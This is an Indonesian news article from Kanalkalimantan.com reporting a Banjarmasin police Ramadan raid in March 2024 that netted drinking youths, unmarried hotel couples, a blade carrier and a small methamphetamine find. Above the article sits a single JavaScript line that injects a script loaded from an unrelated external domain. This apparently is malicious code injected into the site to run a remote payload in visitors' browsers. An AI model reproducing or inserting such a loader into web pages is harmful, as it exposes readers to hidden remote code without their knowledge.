(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Patroli cipta kondisi jajaran Polresta Banjarmasin mengamankan puluhan pemuda yang menggangu Kamtibmas di bulan Ramadan 1445, Minggu (31/3/2024) dini hari.
Dari Jalan Kertak Baru Ulu, Kecamatan Banjarmasin Tengah, polisi mengamankan 19 laki-laki dan perempuan yang rata-rata berusia muda sedang pesta miras tepat di belakang hotel.
Polisi mendapati barang bukti berupa tiga botol alkohol Gajah Duduk (Gaduk) kadar 70%. Serta beberapa saschet bubuk minuman energi.
Razia yang digelar saat waktu sahur sekitar pukul 03.00 Wita itu juga berhasil mengamankan empat dus minuman bir Bintang di sebuh depot di Jalan Pangeran Samudera, Kecamatan Banjarmasin Tengah.
Baca juga: 74 Sepeda Motor Ditilang dari Balap Liar, Sidang Selepas Lebaran
Operasi cipta kondisi juga menyasar sejumlah hotel kelas melati di Kecamatan Banjarmasin Tengah. Hasilnya ada empat pasangan yang kedapatan sedang berada di dalam kamar hotel. Mereka tak bisa menunjukkan buku nikah alias bukan berstatus suami isteri.
Sementara di wilayah Kecamatan Banjarmasin Selatan diamankan 10 remaja yang sedang berkumpul di Jalan Lingkar Dalam Selatan dan beberapa tempat lainnya. Empat buah sepeda motor tak lengkap surat-menyurat turut diamankan.
“Semua remaja yang diamankan kita kembalikan kepada orangtuanya masing-masing, dan para orangtua menandatangani surat perjanjian, sebagai para remaja tidak mengulanginya lagi,” kata Kapolresta Banjarmasin, Kombes Pol Sabana Atmojo.
Baca juga: Festival Salikur 2024 Dimulai, Dewan Juri Mulai Susuri Kampung-kampung
Saat operasi cipta kondisi Minggu (31/3/2024) dini hari polisi juga menemukan tindak pidana. Di kawasan Kecamatan Banjarmasin polisi mengamankan seorang lelaki berinisial MS (29) yang membawa sebilah senjata tajam.
Kemudian di wilayah Kecamatan Banjarmasin Barat, polisi mendapati seseorang yang menyimpan dua paket narkotika jenis sabu dengan berat 0,13 gram.
Sabu tersebut didapati dari tas selempang warna hitam yang dibawa ST (26). Pelaku dan barang bukti dibawa ke Mapolsek Banjarmasin Barat untuk proses lebih lanjut.
“Para pelanggar pembawa Sajam dan pemilik sabu ditindak sesuai dengan hukum yang berlaku,” kata Kapolresta.
Kombes Sabana mengatakan, operasi cipta kondisi dilakukan dalam rangka mengantisipasi gangguan Kamtibmas pada bulan Ramadan di wilayah hukum Polresta Banjarmasin. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.